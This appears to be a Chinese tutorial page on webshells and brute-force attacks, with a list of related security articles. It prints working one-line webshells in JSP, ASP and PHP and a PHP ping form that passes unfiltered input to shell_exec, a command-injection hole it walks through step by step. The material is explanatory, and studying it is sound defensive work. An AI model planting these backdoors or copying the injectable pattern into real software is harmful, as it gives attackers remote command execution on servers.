webshell

概念

webshell是以asp、php、jsp等网页文件形式存在的一种命令执行环境，也称其为一种网页后门。一般说来，当Hacker入侵一个网站后，会把这些asp、php木马的后门文件放在该网站的web目录中，和正常的网页文件混杂，其命名可能和正常的文件命名很类似，让人无法第一眼通过文件名判断其为后门文件。然后呢，他就可以利用web请求的方式，用asp或者php木马后门控制网站服务器，包括上传下载文件、查看数据库、执行任意程序命令等一系列操作。

分类

a.根据文件大小分类：大马和小马(通常指的是一句话木马，能够使用菜刀这类工具去直接连接它)
b.根据脚本名称分类：jsp、asp、aspx、php

jsp的简单的webshell:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

asp的简单的webshell:

success!!!!<%eval request("cmd")%>

php的简单的webshell:

<?php$a=exec($_GET["input"]);echo $a;
?>

用PHP调用cmd命令


<form action="#" method="GET"><input type="text" name="ip" /><input type="submit" />
</form>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<?phpif( isset($_GET['ip'])){$target = $_GET['ip'];if(stristr(php_uname('s'),'Windows NT')){$cmd = shell_exec('ping'. $target);}else{$cmd = shell_exec('ping -c 3'. $target);}$html .="<pre>{$cmd}</pre>";echo $html;}
?>

解析思路

1、脚本接收到的GET或POST参数IP的值存放到变量$ target 中；
2、做了一个简单的系统判断后，$ target被带入到shell_exec()中执行运算；
3、运算时拼接一个ping字符串，对$ target 执行ping命令，然后结果保存在$ cmd 中；
4、$ cmd 再存在新的$ html 中，显示在页面；

暴力破解

“暴力破解”是一种攻击手段，在web 攻击中，一般会使用这种攻击手段对应用系统的认证信息进行获取。其过程就是使用大量的认证信息在认证接口进行尝试登陆，直到得到正确的结果。

PHP webshell、暴力破解相关推荐

webshell使用方法-防止DDOS脚本-暴力破解-自动劫持root密码并转发密码到邮箱
内容: 24.1 webshell使用方法 24.2 使用DDoS deflate 解决服务器被DDOS攻击的问题 24.3 暴力破解sshd服务 24.4 自动劫持root密码并转发密码到邮箱实验 ...
安全测试（三）服务器安全渗透测试常规服务器安全漏洞高危端口暴露、弱口令密码、暴力破解、服务器提权、Mysql数据库提权等浅谈《社会工程学》实战案例
文章目录一.前言二.服务器安全高危端口 2.1 端口号(Port number) 2.2 常见端口后及其用途表 2.3 端口号扫描工具介绍 2.4 端口号端口说明攻击技巧 2.5 安全警示 ...
ctf训练 web安全暴力破解
此次的方法叫做穷举法,也成为枚举法.就是把可能问题一一列举出来. 第一步同样是信息探测(包括敏感信息的探测) 信息探测这次只说一下信息探测的以往的语法: 扫描主机服务信息以及服务版本 nmap -s ...
ctf训练 web安全暴力破解
ctf训练 web安全暴力破解暴力破解漏洞介绍穷举法的基本思想是根据题目的部分条件确定答案的大致范围,并在此范围内对所有可能的情况逐一验证,直到全部情况验证完毕.若某个情况验证符合题目的全部条件, ...
web渗透—暴力破解
二.暴力破解(信息收集确定端口打开) 2.1 MySql数据库爆破 2.1.1 Kali-Hydra #hydra IP地址 -l 单个账户名 -P 字典路径 ...
web后台登录口令暴力破解及防御
在实际网络安全评估测试中,前台是给用户使用,后台是给网站管理维护人员使用,前台功能相对简单,后台功能相对复杂,可能保护媒体文件上传,数据库管理等.前台用户可以自由注册,而后台是网站管理或者维护人员设定 ...
Nmap.sqlmap.暴力破解
1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T(0-6档) 设置扫描的速度一般设置T4 过快容易被发现 -v 显示信息的级别, ...
暴力破解攻击工具汇总——字典很关键，肉鸡也关键
lasercrack是一款爆力破解工具,ruby写的,现如今市面上常见的暴力工具如hydra,medusa都有着不错的破解效率. 破解RDP的软件也有很多,比如ncrack和Fast RDP Brut ...
WEB安全实战（带靶场）–暴力破解
WEB安全实战(带靶场)–暴力破解靶场一:DVWA中的暴力破解靶场二:靶场实验暴力破解暴力破解百度云链接(失效请在评论区通知) 链接:https://pan.baidu.com/s/1FcNF ...

PHP webshell、暴力破解

webshell

概念

分类

暴力破解

PHP webshell、暴力破解相关推荐

最新文章

热门文章